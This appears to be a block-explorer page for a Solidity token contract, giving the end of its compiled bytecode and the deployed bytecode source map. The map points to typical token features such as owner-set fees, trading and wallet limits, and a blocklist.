0506024805460ff191690555050505050505050565b601654601d54600091906001600160a01b0390811690841603611ffa5750601454612015565b601d546001600160a01b039081169086160361201557506015545b6000612042601354606461202991906124f7565b61135c8461134f6012548a61148d90919063ffffffff16565b9050600061206160125461135c6011548561148d90919063ffffffff16565b9050600061206f8383611ad3565b3060009081526006602052604090205490915061208c9082612151565b30600090815260066020526040808220929092556019546001600160a01b0316815220546120ba9083612151565b6019546001600160a01b0390811660009081526006602090815260409182902093909355518381523092918b1691600080516020612636833981519152910160405180910390a3811561213b576019546040518381526001600160a01b03918216918a16906000805160206126368339815191529060200160405180910390a35b6121458784611ad3565b98975050505050505050565b60008061215e838561257e565b905083811015610e2a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016109e9565b801515811461126a57600080fd5b6000602082840312156121d057600080fd5b8135610e2a816121b0565b80356001600160a01b03811681146121f257600080fd5b919050565b6000806040838503121561220a57600080fd5b612213836121db565b946020939093013593505050565b600060208083528351808285015260005b8181101561224e57858101830151858201604001528201612232565b81811115612260576000604083870101525b50601f01601f1916929092016040019392505050565b60006020828403121561228857600080fd5b5035919050565b600080604083850312156122a257600080fd5b50508035926020909101359150565b6000806000606084860312156122c657600080fd5b6122cf846121db565b92506122dd602085016121db565b9150604084013590509250925092565b6000806040838503121561230057600080fd5b612309836121db565b9150612317602084016121db565b90509250929050565b6000806040838503121561233357600080fd5b823561233e816121b0565b9150602083013560ff8116811461235457600080fd5b809150509250929050565b6000806040838503121561237257600080fd5b61237b836121db565b91506020830135612354816121b0565b60006020828403121561239d57600080fd5b610e2a826121db565b6000806000606084860312156123bb57600080fd5b505081359360208301359350604090920135919050565b6000806000604084860312156123e757600080fd5b833567ffffffffffffffff808211156123ff57600080fd5b818601915086601f83011261241357600080fd5b81358181111561242257600080fd5b8760208260051b850101111561243757600080fd5b6020928301955093505084013561244d816121b0565b809150509250925092565b6000806040838503121561246b57600080fd5b8235612213816121b0565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156124bd57600080fd5b5051919050565b6000602082840312156124d657600080fd5b8151610e2a816121b0565b634e487b7160e01b600052601160045260246000fd5b6000816000190483118215151615612511576125116124e1565b500290565b60008261253357634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060018201612560576125606124e1565b5060010190565b600082821015612579576125796124e1565b500390565b60008219821115612591576125916124e1565b500190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156125e65784516001600160a01b0316835293830193918301916001016125c1565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561261c57600080fd5b835192506020840151915060408401519050925092509256feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa264697066735822122031e3af22ed069ece57d221c20d21ebda26f5f277f5467e4df7d0189b6c7832e164736f6c634300080d0033

Deployed Bytecode Sourcemap

5107:14474:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17685:96;;;;;;;;;;-1:-1:-1;17685:96:0;;;;;:::i;:::-;;:::i;:::-;;7274:63;;;;;;;;;;;;;;;;;;;529:25:1;;;517:2;502:18;7274:63:0;;;;;;;;15071:418;;;;;;;;;;-1:-1:-1;15071:418:0;;;;;:::i;:::-;;:::i;8983:80::-;;;;;;;;;;-1:-1:-1;9055:5:0;;;;;;;;;;;;-1:-1:-1;;;9055:5:0;;;;8983:80;;;;;;;:::i;10301:262::-;;;;;;;;;;-1:-1:-1;10301:262:0;;;;;:::i;:::-;;:::i;9405:216::-;;;;;;;;;;-1:-1:-1;9405:216:0;;;;;:::i;:::-;;:::i;:::-;;;1954:14:1;;1947:22;1929:41;;1917:2;1902:18;9405:216:0;1789:187:1;7164:48:0;;;;;;;;;;;;;;;;17590:87;;;;;;;;;;-1:-1:-1;17590:87:0;;;;;:::i;:::-;;:::i;19363:150::-;;;;;;;;;;-1:-1:-1;19363:150:0;;;;;:::i;:::-;;:::i;6451:41::-;;;;;;;;;;;;;;;;8713:88;;;;;;;;;;-1:-1:-1;8786:12:0;;8713:88;;18853:173;;;;;;;;;;-1:-1:-1;18853:173:0;;;;;:::i;:::-;;:::i;14823:240::-;;;;;;;;;;-1:-1:-1;14823:240:0;;;;;:::i;:::-;;:::i;6369:75::-;;;;;;;;;;;;;;;;9923:370;;;;;;;;;;-1:-1:-1;9923:370:0;;;;;:::i;:::-;;:::i;18455:227::-;;;;;;;;;;-1:-1:-1;18455:227:0;;;;;:::i;:::-;;:::i;19038:142::-;;;;;;;;;;;;;:::i;15711:164::-;;;;;;;;;;-1:-1:-1;15711:164:0;;;;;:::i;:::-;;:::i;8807:80::-;;;;;;;;;;-1:-1:-1;5542:1:0;8807:80;;;3415:4:1;3403:17;;;3385:36;;3373:2;3358:18;8807:80:0;3243:184:1;18118:100:0;;;;;;;;;;-1:-1:-1;18118:100:0;;;;;:::i;:::-;;:::i;10841:129::-;;;;;;;;;;-1:-1:-1;10841:129:0;;;;;:::i;:::-;;:::i;17789:114::-;;;;;;;;;;;;;:::i;9629:122::-;;;;;;;;;;-1:-1:-1;9629:122:0;;;;;:::i;:::-;;:::i;10982:182::-;;;;;;;;;;-1:-1:-1;10982:182:0;;;;;:::i;:::-;;:::i;7010:42::-;;;;;;;;;;-1:-1:-1;7010:42:0;;;;;;;;5936:41;;;;;;;;;;-1:-1:-1;5936:41:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;15501:202;;;;;;;;;;-1:-1:-1;15501:202:0;;;;;:::i;:::-;;:::i;17911:199::-;;;;;;;;;;-1:-1:-1;17911:199:0;;;;;:::i;:::-;;:::i;7225:42::-;;;;;;;;;;-1:-1:-1;7225:42:0;;;;;;;;6036:43;;;;;;;;;;-1:-1:-1;6036:43:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;9153:105;;;;;;;;;;-1:-1:-1;9153:105:0;;;;;:::i;:::-;-1:-1:-1;;;;;9237:18:0;9219:7;9237:18;;;:9;:18;;;;;;;9153:105;3164:148;;;;;;;;;;;;;:::i;7059:39::-;;;;;;;;;;-1:-1:-1;7059:39:0;;;;;;;;;;;5698:65;;;;;;;;;;;;;;;;5626;;;;;;;;;;;;;;;;9069:78;;;;;;;;;;-1:-1:-1;9121:7:0;3015:6;-1:-1:-1;;;;;3015:6:0;9069:78;;;-1:-1:-1;;;;;5183:32:1;;;5165:51;;5153:2;5138:18;9069:78:0;5019:203:1;2950:79:0;;;;;;;;;;-1:-1:-1;2988:7:0;3015:6;-1:-1:-1;;;;;3015:6:0;2950:79;;8893:84;;;;;;;;;;-1:-1:-1;8967:7:0;;;;;;;;;;;;-1:-1:-1;;;8967:7:0;;;;8893:84;;6901:19;;;;;;;;;;-1:-1:-1;6901:19:0;;;;-1:-1:-1;;;;;6901:19:0;;;9759:156;;;;;;;;;;-1:-1:-1;9759:156:0;;;;;:::i;:::-;;:::i;18226:221::-;;;;;;;;;;-1:-1:-1;18226:221:0;;;;;:::i;:::-;;:::i;5887:42::-;;;;;;;;;;-1:-1:-1;5887:42:0;;;;;;;;2570:21;;;;;;;;;;-1:-1:-1;2570:21:0;;;;-1:-1:-1;;;;;2570:21:0;;;5986:43;;;;;;;;;;-1:-1:-1;5986:43:0;;;;;;;;15883:138;;;;;;;;;;;;;:::i;10569:264::-;;;;;;;;;;-1:-1:-1;10569:264:0;;;;;:::i;:::-;;:::i;19188:167::-;;;;;;;;;;-1:-1:-1;19188:167:0;;;;;:::i;:::-;;:::i;9264:133::-;;;;;;;;;;-1:-1:-1;9264:133:0;;;;;:::i;:::-;-1:-1:-1;;;;;9366:19:0;;;9348:7;9366:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;9264:133;18690:155;;;;;;;;;;-1:-1:-1;18690:155:0;;;;;:::i;:::-;;:::i;3320:244::-;;;;;;;;;;-1:-1:-1;3320:244:0;;;;;:::i;:::-;;:::i;6323:39::-;;;;;;;;;;;;;;;;6932:43;;;;;;;;;;-1:-1:-1;6932:43:0;;;;-1:-1:-1;;;6932:43:0;;;;;;17685:96;3077:6;;-1:-1:-1;;;;;3077:6:0;2387:10;3077:22;3069:67;;;;-1:-1:-1;;;3069:67:0;;;;;;;:::i;:::-;;;;;;;;;17753:10:::1;:20:::0;;-1:-1:-1;;17753:20:0::1;::::0;::::1;;::::0;;;::::1;::::0;;17685:96::o;15071:418::-;15180:10;15169:22;;;;:10;:22;;;;;;;;15161:31;;;;;;15267:30;;-1:-1:-1;;;15267:30:0;;15291:4;15267:30;;;5165:51:1;15225:12:0;;15203;;-1:-1:-1;;;;;15267:15:0;;;;;5138:18:1;;15267:30:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;15249:48;;15327:15;15316:7;:26;;15308:80;;;;-1:-1:-1;;;15308:80:0;;6293:2:1;15308:80:0;;;6275:21:1;6332:2;6312:18;;;6305:30;6371:34;6351:18;;;6344:62;-1:-1:-1;;;6422:18:1;;;6415:39;6471:19;;15308:80:0;6091:405:1;15308:80:0;15404:19;;15401:80;;15438:43;;-1:-1:-1;;;15438:43:0;;15453:10;15438:43;;;6675:51:1;6742:18;;;6735:34;;;-1:-1:-1;;;;;15438:14:0;;;;;6648:18:1;;15438:43:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;15401:80;15150:339;;15071:418;;:::o;10301:262::-;3077:6;;-1:-1:-1;;;;;3077:6:0;2387:10;3077:22;3069:67;;;;-1:-1:-1;;;3069:67:0;;;;;;;:::i;:::-;10437:2:::1;10410:23;:29;;10402:76;;;::::0;-1:-1:-1;;;10402:76:0;;7232:2:1;10402:76:0::1;::::0;::::1;7214:21:1::0;7271:2;7251:18;;;7244:30;7310:34;7290:18;;;7283:62;-1:-1:-1;;;7361:18:1;;;7354:32;7403:19;;10402:76:0::1;7030:398:1::0;10402:76:0::1;10551:4;10523:23;10508:12;;:38;;;;:::i;:::-;10507:48;;;;:::i;:::-;10489:15;:66:::0;-1:-1:-1;10301:262:0:o;9405:216::-;9509:10;9480:4;9497:23;;;:11;:23;;;;;;;;-1:-1:-1;;;;;9497:32:0;;;;;;;;;;:41;;;9554:37;9480:4;;9497:32;;9554:37;;;;9532:6;529:25:1;;517:2;502:18;;383:177;9554:37:0;;;;;;;;-1:-1:-1;9609:4:0;9405:216;;;;;:::o;17590:87::-;3077:6;;-1:-1:-1;;;;;3077:6:0;2387:10;3077:22;3069:67;;;;-1:-1:-1;;;3069:67:0;;;;;;;:::i;:::-;17652:7:::1;:17:::0;;-1:-1:-1;;17652:17:0::1;::::0;::::1;;::::0;;;::::1;::::0;;17590:87::o;19363:150::-;19443:4;19499:6;19467:29;19487:8;19467:19;:29::i;:::-;:38;;19363:150;-1:-1:-1;;;19363:150:0:o;18853:173::-;3077:6;;-1:-1:-1;;;;;3077:6:0;2387:10;3077:22;3069:67;;;;-1:-1:-1;;;3069:67:0;;;;;;;:::i;:::-;18941:15:::1;:25:::0;;;;18977:26:::1;:41:::0;18853:173::o;14823:240::-;14916:10;14905:22;;;;:10;:22;;;;;;;;14897:31;;;;;;14959:21;14999:10;14991:64;15051:3;15020:28;15032:16;14959:21;15020:28;:::i;:::-;:34;;;;:::i;:::-;14991:64;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14885:178;14823:240;:::o;9923:370::-;-1:-1:-1;;;;;10043:19:0;;10023:4;10043:19;;;:11;:19;;;;;;;;10063:10;10043:31;;;;;;;;-1:-1:-1;;10043:52:0;10040:186;;10145:69;;;;;;;;;;;-1:-1:-1;;;10145:69:0;;;;;;;;-1:-1:-1;;;;;10145:19:0;;-1:-1:-1;10145:19:0;;;:11;:19;;;;;10165:10;10145:31;;;;;;;;;;:69;;10181:6;;10145:35;:69::i;:::-;-1:-1:-1;;;;;10111:19:0;;;;;;:11;:19;;;;;;;;10131:10;10111:31;;;;;;;:103;10040:186;10245:40;10259:6;10267:9;10278:6;10245:13;:40::i;:::-;10238:47;;9923:370;;;;;;:::o;18455:227::-;3077:6;;-1:-1:-1;;;;;3077:6:0;2387:10;3077:22;3069:67;;;;-1:-1:-1;;;3069:67:0;;;;;;;:::i;:::-;18573:21:::1;:46:::0;;-1:-1:-1;;;;;18573:46:0;;::::1;-1:-1:-1::0;;;;;;18573:46:0;;::::1;;::::0;;;18630:20:::1;:44:::0;;;;;::::1;::::0;::::1;;::::0;;18455:227::o;19038:142::-;9237:9;:18;;;;5249:42;19091:7;9237:18;;;;;19118:12;;19091:7;;19118:54;;9237:18;;19118:33;;:12;:16;:33::i;:::-;:37;;:54::i;:::-;19111:61;;19038:142;:::o;15711:164::-;3077:6;;-1:-1:-1;;;;;3077:6:0;2387:10;3077:22;3069:67;;;;-1:-1:-1;;;3069:67:0;;;;;;;:::i;:::-;15795:18:::1;:28:::0;;-1:-1:-1;;15834:33:0;15795:28;::::1;;-1:-1:-1::0;;15834:33:0;;;;;15795:28:::1;;15834:33:::0;;;::::1;::::0;;;::::1;;::::0;;15711:164::o;18118:100::-;3077:6;;-1:-1:-1;;;;;3077:6:0;2387:10;3077:22;3069:67;;;;-1:-1:-1;;;3069:67:0;;;;;;;:::i;:::-;18195:14:::1;:5:::0;18203:6:::1;18195:14;:::i;:::-;18188:4;:21:::0;-1:-1:-1;18118:100:0:o;10841:129::-;3077:6;;-1:-1:-1;;;;;3077:6:0;2387:10;3077:22;3069:67;;;;-1:-1:-1;;;3069:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;10929:24:0;;;::::1;;::::0;;;:16:::1;:24;::::0;;;;:33;;-1:-1:-1;;10929:33:0::1;::::0;::::1;;::::0;;;::::1;::::0;;10841:129::o;17789:114::-;3077:6;;-1:-1:-1;;;;;3077:6:0;2387:10;3077:22;3069:67;;;;-1:-1:-1;;;3069:67:0;;;;;;;:::i;:::-;17840:11:::1;:18:::0;;-1:-1:-1;;;;17840:18:0::1;-1:-1:-1::0;;;17840:18:0::1;::::0;;17883:12:::1;17869:11;:26:::0;17789:114::o;9629:122::-;9684:4;9708:35;9716:7;-1:-1:-1;;9708:7:0;:35::i;10982:182::-;3077:6;;-1:-1:-1;;;;;3077:6:0;2387:10;3077:22;3069:67;;;;-1:-1:-1;;;3069:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;11085:19:0;;::::1;;::::0;;;:11:::1;:19;::::0;;;;;;;:28;;;::::1;;-1:-1:-1::0;;11085:28:0;;::::1;::::0;::::1;::::0;;;11124:15:::1;:23:::0;;;;;;:32;;;;::::1;;::::0;;10982:182::o;15501:202::-;3077:6;;-1:-1:-1;;;;;3077:6:0;2387:10;3077:22;3069:67;;;;-1:-1:-1;;;3069:67:0;;;;;;;:::i;:::-;15600:14:::1;:22:::0;;;;15633:13:::1;:20:::0;;;;15664:18:::1;:27:::0;15501:202::o;17911:199::-;3077:6;;-1:-1:-1;;;;;3077:6:0;2387:10;3077:22;3069:67;;;;-1:-1:-1;;;3069:67:0;;;;;;;:::i;:::-;18007:9:::1;18002:101;18018:20:::0;;::::1;18002:101;;;18085:6;18060:8;:22;18069:9;;18079:1;18069:12;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;18060:22:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;18060:22:0;:31;;-1:-1:-1;;18060:31:0::1;::::0;::::1;;::::0;;;::::1;::::0;;18040:3:::1;::::0;::::1;:::i;:::-;;;18002:101;;3164:148:::0;3077:6;;-1:-1:-1;;;;;3077:6:0;2387:10;3077:22;3069:67;;;;-1:-1:-1;;;3069:67:0;;;;;;;:::i;:::-;3271:1:::1;3255:6:::0;;3234:40:::1;::::0;-1:-1:-1;;;;;3255:6:0;;::::1;::::0;3234:40:::1;::::0;3271:1;;3234:40:::1;3302:1;3285:19:::0;;-1:-1:-1;;;;;;3285:19:0::1;::::0;;3164:148::o;9759:156::-;9839:4;9863:44;9877:10;9889:9;9900:6;9863:13;:44::i;18226:221::-;3077:6;;-1:-1:-1;;;;;3077:6:0;2387:10;3077:22;3069:67;;;;-1:-1:-1;;;3069:67:0;;;;;;;:::i;:::-;-1:-1:-1;18336:12:0::1;:31:::0;;;;18378:12:::1;:31:::0;18226:221::o;15883:138::-;15939:10;15928:22;;;;:10;:22;;;;;;;;15920:31;;;;;;15962:51;;15970:10;;15991:21;15962:51;;;;;;;;;15991:21;15970:10;15962:51;;;;;;;;;;;;;;;;;;;;;15883:138::o;10569:264::-;3077:6;;-1:-1:-1;;;;;3077:6:0;2387:10;3077:22;3069:67;;;;-1:-1:-1;;;3069:67:0;;;;;;;:::i;:::-;10703:1:::1;10675:24;:29;;10667:83;;;::::0;-1:-1:-1;;;10667:83:0;;8434:2:1;10667:83:0::1;::::0;::::1;8416:21:1::0;8473:2;8453:18;;;8446:30;8512:34;8492:18;;;8485:62;-1:-1:-1;;;8563:18:1;;;8556:39;8612:19;;10667:83:0::1;8232:405:1::0;10667:83:0::1;10821:4;10792:24;10777:12;;:39;;;;:::i;:::-;10776:49;;;;:::i;:::-;10761:12;:64:::0;-1:-1:-1;10569:264:0:o;19188:167::-;19256:7;19283:64;19324:22;:20;:22::i;:::-;19306:4;;-1:-1:-1;;;;;19306:4:0;9219:7;9237:18;;;:9;:18;;;;;;19283:36;;19296:22;;19316:1;;19296:15;:19;;:22::i;:::-;19283:8;;:12;:36::i;:::-;:40;;:64::i;18690:155::-;3077:6;;-1:-1:-1;;;;;3077:6:0;2387:10;3077:22;3069:67;;;;-1:-1:-1;;;3069:67:0;;;;;;;:::i;:::-;18781:11:::1;:22:::0;;-1:-1:-1;;18781:22:0::1;::::0;::::1;;::::0;;;::::1;::::0;;;18814:13:::1;:23:::0;18690:155::o;3320:244::-;3077:6;;-1:-1:-1;;;;;3077:6:0;2387:10;3077:22;3069:67;;;;-1:-1:-1;;;3069:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;3409:22:0;::::1;3401:73;;;::::0;-1:-1:-1;;;3401:73:0;;8844:2:1;3401:73:0::1;::::0;::::1;8826:21:1::0;8883:2;8863:18;;;8856:30;8922:34;8902:18;;;8895:62;-1:-1:-1;;;8973:18:1;;;8966:36;9019:19;;3401:73:0::1;8642:402:1::0;3401:73:0::1;3511:6;::::0;;3490:38:::1;::::0;-1:-1:-1;;;;;3490:38:0;;::::1;::::0;3511:6;::::1;::::0;3490:38:::1;::::0;::::1;3539:6;:17:::0;;-1:-1:-1;;;;;;3539:17:0::1;-1:-1:-1::0;;;;;3539:17:0;;;::::1;::::0;;;::::1;::::0;;3320:244::o;748:250::-;806:7;830:1;835;830:6;826:47;;-1:-1:-1;860:1:0;853:8;;826:47;885:9;897:5;901:1;897;:5;:::i;:::-;885:17;-1:-1:-1;930:1:0;921:5;925:1;885:17;921:5;:::i;:::-;:10;913:56;;;;-1:-1:-1;;;913:56:0;;9251:2:1;913:56:0;;;9233:21:1;9290:2;9270:18;;;9263:30;9329:34;9309:18;;;9302:62;-1:-1:-1;;;9380:18:1;;;9373:31;9421:19;;913:56:0;9049:397:1;1004:132:0;1062:7;1089:39;1093:1;1096;1089:39;;;;;;;;;;;;;;;;;:3;:39::i;550:192::-;636:7;672:12;664:6;;;;656:29;;;;-1:-1:-1;;;656:29:0;;;;;;;;:::i;:::-;-1:-1:-1;696:9:0;708:5;712:1;708;:5;:::i;:::-;696:17;550:192;-1:-1:-1;;;;;550:192:0:o;11172:1853::-;11284:6;;11264:4;;11284:6;;11281:63;;;11300:41;11315:6;11323:9;11334:6;11300:14;:41::i;:::-;11293:48;;;;11281:63;-1:-1:-1;;;;;11360:22:0;;;;;;:14;:22;;;;;;;;11359:23;:53;;;;-1:-1:-1;;;;;;11387:25:0;;;;;;:14;:25;;;;;;;;11386:26;11359:53;11356:242;;;11436:11;;-1:-1:-1;;;11436:11:0;;;;11428:44;;;;-1:-1:-1;;;11428:44:0;;9783:2:1;11428:44:0;;;9765:21:1;9822:2;9802:18;;;9795:30;-1:-1:-1;;;9841:18:1;;;9834:50;9901:18;;11428:44:0;9581:344:1;11428:44:0;11488:10;;;;11485:102;;;-1:-1:-1;;;;;11526:21:0;;;;;;:10;:21;;;;;;;;11518:49;;;;-1:-1:-1;;;11518:49:0;;10132:2:1;11518:49:0;;;10114:21:1;10171:2;10151:18;;;10144:30;-1:-1:-1;;;10190:18:1;;;10183:45;10245:18;;11518:49:0;9930:339:1;11518:49:0;11621:7;;;;11618:74;;;-1:-1:-1;;;;;11653:16:0;;;;;;:8;:16;;;;;;;;11652:17;11644:32;;;;-1:-1:-1;;;11644:32:0;;10476:2:1;11644:32:0;;;10458:21:1;10515:1;10495:18;;;10488:29;-1:-1:-1;;;10533:18:1;;;10526:33;10576:18;;11644:32:0;10274:326:1;11644:32:0;11731:4;;11716:11;:19;;:40;;;;-1:-1:-1;11752:4:0;;-1:-1:-1;;;;;11739:17:0;;;11752:4;;11739:17;;11716:40;11712:99;;;-1:-1:-1;;;;;11773:19:0;;;;;;:8;:19;;;;;:26;;-1:-1:-1;;11773:26:0;11795:4;11773:26;;;11712:99;-1:-1:-1;;;;;11840:22:0;;;;;;:14;:22;;;;;;;;11839:23;:53;;;;-1:-1:-1;;;;;;11866:26:0;;11887:4;11866:26;;11839:53;:84;;;;-1:-1:-1;;;;;;11897:26:0;;5249:42;11897:26;;11839:84;:105;;;;-1:-1:-1;11940:4:0;;-1:-1:-1;;;;;11927:17:0;;;11940:4;;11927:17;;11839:105;:137;;;;-1:-1:-1;11961:15:0;;-1:-1:-1;;;;;11948:28:0;;;11961:15;;11948:28;;11839:137;:174;;;;-1:-1:-1;11993:20:0;;-1:-1:-1;;;;;11980:33:0;;;11993:20;;11980:33;;11839:174;:205;;;;-1:-1:-1;;;;;;12018:26:0;;;;;;:15;:26;;;;;;;;12017:27;11839:205;11835:398;;;-1:-1:-1;;;;;9237:18:0;;12060;9237;;;:9;:18;;;;;;12149:15;;12125:19;12138:6;9237:18;12125:19;:::i;:::-;12124:40;;12116:115;;;;-1:-1:-1;;;12116:115:0;;10940:2:1;12116:115:0;;;10922:21:1;10979:2;10959:18;;;10952:30;11018:34;10998:18;;;10991:62;11089:32;11069:18;;;11062:60;11139:19;;12116:115:0;10738:426:1;12116:115:0;12045:188;11835:398;12259:4;;-1:-1:-1;;;;;12249:14:0;;;12259:4;;12249:14;:49;;;;-1:-1:-1;12280:18:0;;;;12249:49;:94;;;;-1:-1:-1;;;;;;12316:27:0;;;;;;:16;:27;;;;;;;;12315:28;12249:94;12245:297;;;-1:-1:-1;;;;;12368:24:0;;;;;;:13;:24;;;;;;12395:15;-1:-1:-1;12360:83:0;;;;-1:-1:-1;;;12360:83:0;;11371:2:1;12360:83:0;;;11353:21:1;11410:2;11390:18;;;11383:30;11449;11429:18;;;11422:58;11497:18;;12360:83:0;11169:352:1;12360:83:0;12503:21;;12485:39;;12503:21;;;;;12485:15;:39;:::i;:::-;-1:-1:-1;;;;;12458:24:0;;;;;;:13;:24;;;;;:66;12245:297;12554:28;12567:6;12575;12554:12;:28::i;:::-;12598:16;:14;:16::i;:::-;12595:35;;;12617:10;:8;:10::i;:::-;12669:53;;;;;;;;;;;-1:-1:-1;;;12669:53:0;;;;;;;;-1:-1:-1;;;;;12669:17:0;;-1:-1:-1;12669:17:0;;;:9;:17;;;;;;;;:53;;12691:6;;12669:21;:53::i;:::-;-1:-1:-1;;;;;12649:17:0;;;;;;:9;:17;;;;;;;;:73;;;;12762:11;:19;;;;;;;;;:45;;-1:-1:-1;;;;;;12785:22:0;;;;;;:11;:22;;;;;;;;12762:45;12761:93;;12820:34;12828:6;12836;12844:9;12820:7;:34::i;:::-;12761:93;;;12811:6;12761:93;-1:-1:-1;;;;;12888:20:0;;;;;;:9;:20;;;;;;12736:118;;-1:-1:-1;12888:40:0;;12736:118;12888:24;:40::i;:::-;-1:-1:-1;;;;;12865:20:0;;;;;;;:9;:20;;;;;;;:63;;;;12946:43;;;;;;-1:-1:-1;;;;;;;;;;;12946:43:0;;;12974:14;529:25:1;;517:2;502:18;;383:177;12946:43:0;;;;;;;;-1:-1:-1;13007:4:0;;11172:1853;-1:-1:-1;;;;11172:1853:0:o;408:136::-;466:7;493:43;497:1;500;493:43;;;;;;;;;;;;;;;;;:3;:43::i;1142:189::-;1228:7;1263:12;1256:5;1248:28;;;;-1:-1:-1;;;1248:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1287:9:0;1299:5;1303:1;1299;:5;:::i;13033:330::-;13163:53;;;;;;;;;;;-1:-1:-1;;;13163:53:0;;;;;;;;-1:-1:-1;;;;;13163:17:0;;13126:4;13163:17;;;:9;:17;;;;;;;:53;;13185:6;;13163:21;:53::i;:::-;-1:-1:-1;;;;;13143:17:0;;;;;;;:9;:17;;;;;;:73;;;;13250:20;;;;;;;:32;;13275:6;13250:24;:32::i;:::-;-1:-1:-1;;;;;13227:20:0;;;;;;;:9;:20;;;;;;;:55;;;;13298:35;;;;;;-1:-1:-1;;;;;;;;;;;13298:35:0;;;13326:6;529:25:1;;517:2;502:18;;383:177;13298:35:0;;;;;;;;-1:-1:-1;13351:4:0;13033:330;;;;;:::o;13371:166::-;13468:12;;13458:6;:22;;:49;;;-1:-1:-1;;;;;;13484:23:0;;;;;;:15;:23;;;;;;;;13458:49;13450:79;;;;-1:-1:-1;;;13450:79:0;;11728:2:1;13450:79:0;;;11710:21:1;11767:2;11747:18;;;11740:30;-1:-1:-1;;;11786:18:1;;;11779:47;11843:18;;13450:79:0;11526:341:1;13450:79:0;13371:166;;:::o;14612:203::-;14699:4;;14661;;-1:-1:-1;;;;;14699:4:0;14685:10;:18;;;;:38;;-1:-1:-1;14717:6:0;;;;14716:7;14685:38;:62;;;;-1:-1:-1;14736:11:0;;;;14685:62;:116;;;;-1:-1:-1;;14788:13:0;;14778:4;14760:24;;;;:9;:24;;;;;;:41;;;14612:203::o;16029:1553::-;7384:6;:13;;-1:-1:-1;;7384:13:0;7393:4;7384:13;;;16124:15:::1;::::0;16141:26:::1;::::0;7384:6;;16108:60:::1;::::0;:15:::1;:60::i;:::-;:79;;16175:12;;16108:79;;;16171:1;16108:79;16078:109;;16198:23;16224:59;16281:1;16224:52;16267:8;;16224:38;16242:19;16224:13;;:17;;:38;;;;:::i;:59::-;16198:85;;16294:20;16317:34;16335:15;16317:13;;:17;;:34;;;;:::i;:::-;16388:16;::::0;;16402:1:::1;16388:16:::0;;;;;::::1;::::0;;16294:57;;-1:-1:-1;16364:21:0::1;::::0;16388:16;;::::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;16388:16:0::1;16364:40;;16433:4;16415;16420:1;16415:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;16415:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;:23;16459:4:::1;::::0;16449:7;;16459:4;::::1;::::0;16449;;16459;;16449:7;::::1;;;;;:::i;:::-;-1:-1:-1::0;;;;;16449:14:0;;::::1;:7;::::0;;::::1;::::0;;;;;:14;16534:6:::1;::::0;:188:::1;::::0;-1:-1:-1;;;16534:188:0;;16500:21:::1;::::0;16534:6;;;::::1;::::0;:57:::1;::::0;:188:::1;::::0;16606:12;;16476:21:::1;::::0;16649:4;;16676::::1;::::0;16696:15:::1;::::0;16534:188:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;16735:17;16755:40;16781:13;16755:21;:25;;:40;;;;:::i;:::-;16735:60:::0;-1:-1:-1;16808:19:0::1;16830:40;16843:26;:19:::0;16867:1:::1;16843:23;:26::i;:::-;16830:8;::::0;;:12:::1;:40::i;:::-;16808:62:::0;-1:-1:-1;16891:26:0::1;16920:58;16976:1;16920:51;16808:62:::0;16920:51;:9;16934:19;16920:13:::1;:34::i;:58::-;16891:87;;16989:26;17018:44;17050:11;17018:27;17032:12;;17018:9;:13;;:27;;;;:::i;:44::-;17104:20;::::0;17096:65:::1;::::0;16989:73;;-1:-1:-1;17076:15:0::1;::::0;-1:-1:-1;;;;;17104:20:0;;::::1;::::0;16989:73;;17076:15;17096:65;17076:15;17096:65;16989:73;17104:20;17096:65:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1::0;17195:5:0::1;::::0;-1:-1:-1;;17216:19:0;;;-1:-1:-1;17213:362:0::1;;17251:6;::::0;17425:21:::1;::::0;17251:244:::1;::::0;-1:-1:-1;;;17251:244:0;;17327:4:::1;17251:244;::::0;::::1;13540:34:1::0;13590:18;;;13583:34;;;17251:6:0::1;13633:18:1::0;;;13626:34;;;13676:18;;;13669:34;-1:-1:-1;;;;;17425:21:0;;::::1;13719:19:1::0;;;13712:44;17465:15:0::1;13772:19:1::0;;;13765:35;17251:6:0;::::1;::::0;:22:::1;::::0;17281:18;;13474:19:1;;17251:244:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;